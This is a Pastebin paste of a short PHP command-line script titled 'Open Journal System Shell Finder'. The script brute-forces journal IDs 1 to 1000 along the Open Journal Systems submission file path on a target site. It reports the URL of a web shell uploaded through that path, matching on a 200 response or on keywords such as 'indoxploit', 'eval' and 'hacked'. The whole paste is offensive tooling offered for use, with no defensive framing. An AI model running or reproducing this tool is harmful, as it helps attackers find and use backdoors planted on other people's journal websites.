Advertisement
AgusSR

Open Journal System Shell Finder

Sep 17th, 2016
3,173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.86 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. //error_reporting(0);
  4. function ngcurl($url) {
  5.     $ch = curl_init($url);
  6.           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  7.     return curl_exec($ch);
  8.           curl_close($ch);
  9. }
  10. function respon_code($url) {
  11.     $ch = curl_init($url);
  12.           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  13.     $res = curl_exec($ch);
  14.     return curl_getinfo($ch, CURLINFO_HTTP_CODE);
  15.           curl_close($ch);
  16. }
  17.  
  18. $url = $argv[1];
  19. $shell = $argv[2];
  20. $pecah = explode("-", $shell);
  21. $id = $pecah[0];
  22. if(isset($url) AND isset($shell)) {
  23.     for($x = 1; $x <= 1000; $x++) {
  24.         $link = "$url/files/journals/$x/articles/$id/submission/original/$shell";
  25.         $cek = ngcurl($link);
  26.         if(preg_match("/shell|newfile|newfolder|pass|password|text|indoxploit|upload|eval|php|hacked|linux|windows|by|here/i", $cek) OR respon_code($link) == "200") {
  27.             echo "-> $link\n";
  28.             break;
  29.         }
  30.     }
  31. }
  32. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement